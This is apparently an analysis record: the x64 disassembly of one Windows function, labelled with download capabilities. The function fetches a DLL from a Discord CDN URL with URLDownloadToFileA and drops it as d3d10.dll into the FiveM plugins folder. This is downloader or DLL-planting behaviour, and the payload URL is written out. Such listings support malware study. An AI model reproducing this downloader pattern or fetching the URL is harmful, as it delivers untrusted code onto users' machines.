Function at 0x1400039c0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x140082080]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f], xmm1
mov r8d, 0xb5
lea rdx, str.https:__cdn.discordapp.com_attachments_1086347195663527937_1237430293900562442_d3d10.dll_ex663b9e44is663a4cc4hm324d6bf515e4fc7c0f6557ed3da3ccd4338afe63f1c9207f10a65dccd9664f8f
lea rcx, [rbp + 0x1f]
call fcn.1400057e0
nop
mov rsi, qword [0x140083208]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 9
jb 0x140003c85
lea r15, [0x1400831f8]
cmp qword [0x140083210], 0x10
cmovae r15, qword [0x1400831f8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
lea r14, [rsi + 9]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp - 0x29]
cmp r14, rbx
jbe 0x140003ae6
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140003aa9
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400652d0
test rax, rax
je 0x140003b91
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003ae2
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140003ad1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003c8b
jmp 0x140003a8a
test rcx, rcx
je 0x140003ae0
call fcn.1400652d0
mov rdi, rax
jmp 0x140003ae2
xor edi, edi
mov qword [rbp - 0x29], rdi
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], rbx
movsd xmm0, qword [str.C:Users_]
movsd qword [rdi], xmm0
movzx eax, byte [0x1400764c0]
mov byte [rdi + 8], al
lea rcx, [rdi + 9]
mov r8, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, Ordinal_50
lea rdx, str.AppDataLocalFiveMFiveM.apppluginsd3d10.dll
lea rcx, [rbp - 0x29]
call fcn.140005090
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 1], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0x10
jb 0x140003b9d
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006555c
lea r8, [rbp - 1]
cmp qword [rbp + 0x17], 0x10
cmovae r8, qword [rbp - 1]
lea rdx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 0x10
cmovae rdx, qword [rbp + 0x1f]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rdx, qword [rbp + 0x17]
cmp rdx, 0x10
jb 0x140003c0b
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006555c
movdqa xmm0, xmmword [0x140077b30]
movdqu xmmword [rbp + 0xf], xmm0
mov byte [rbp - 1], 0
mov rdx, qword [rbp + 0x37]
cmp rdx, 0x10
jb 0x140003c5a
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c55
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006555c
xor eax, eax
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1400652b0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001cf0
nop
call fcn.140001c50
int3